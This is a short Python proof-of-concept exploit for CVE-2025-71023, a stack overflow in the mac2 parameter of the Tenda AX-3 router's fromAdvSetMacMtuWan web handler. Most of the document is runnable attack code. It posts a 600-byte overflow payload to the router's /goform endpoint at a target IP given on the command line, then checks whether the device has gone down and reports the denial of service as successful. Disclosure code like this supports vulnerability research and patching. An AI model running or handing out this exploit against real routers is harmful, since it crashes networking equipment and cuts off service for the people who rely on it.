CVE-2025-71023 Tenda AX-3路由器fromAdvSetMacMtuWan函数栈溢出漏洞

#!/usr/bin/env python3 """ CVE-2025-71023 PoC - Tenda AX-3 Stack Overflow in fromAdvSetMacMtuWan This PoC demonstrates the stack overflow vulnerability in the mac2 parameter of the fromAdvSetMacMtuWan function. """ import requests import sys def exploit_tenda_ax3(target_ip, target_port=80): """ Exploit the stack overflow vulnerability in Tenda AX-3 Args: target_ip: IP address of the target Tenda AX-3 router target_port: HTTP port (default: 80) """ # Construct the malicious payload # The mac2 parameter is vulnerable to stack overflow # Sending a payload of 500+ bytes will overflow the buffer overflow_length = 600 malicious_payload = "A" * overflow_length # Construct the exploit URL url = f"http://{target_ip}:{target_port}/goform/fromAdvSetMacMtuWan" # Prepare the POST data with the malicious mac2 parameter data = { "mac2": malicious_payload, "mtu": "1500", "wanMac": "AA:BB:CC:DD:EE:FF" } print(f"[*] Target: {target_ip}:{target_port}") print(f"[*] Sending exploit payload with {overflow_length} bytes...") try: # Send the malicious request response = requests.post(url, data=data, timeout=10) print(f"[+] Request sent successfully") print(f"[*] Response status code: {response.status_code}") # Check if the target is still responsive check_url = f"http://{target_ip}:{target_port}/" try: check_response = requests.get(check_url, timeout=5) print(f"[-] Target is still responsive - DoS may have failed") except requests.exceptions.RequestException: print(f"[+] Target appears to be down - DoS successful") return True except requests.exceptions.RequestException as e: print(f"[+] Exploit likely successful - connection error: {e}") return True return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve-2025-71023-poc.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_tenda_ax3(target, port)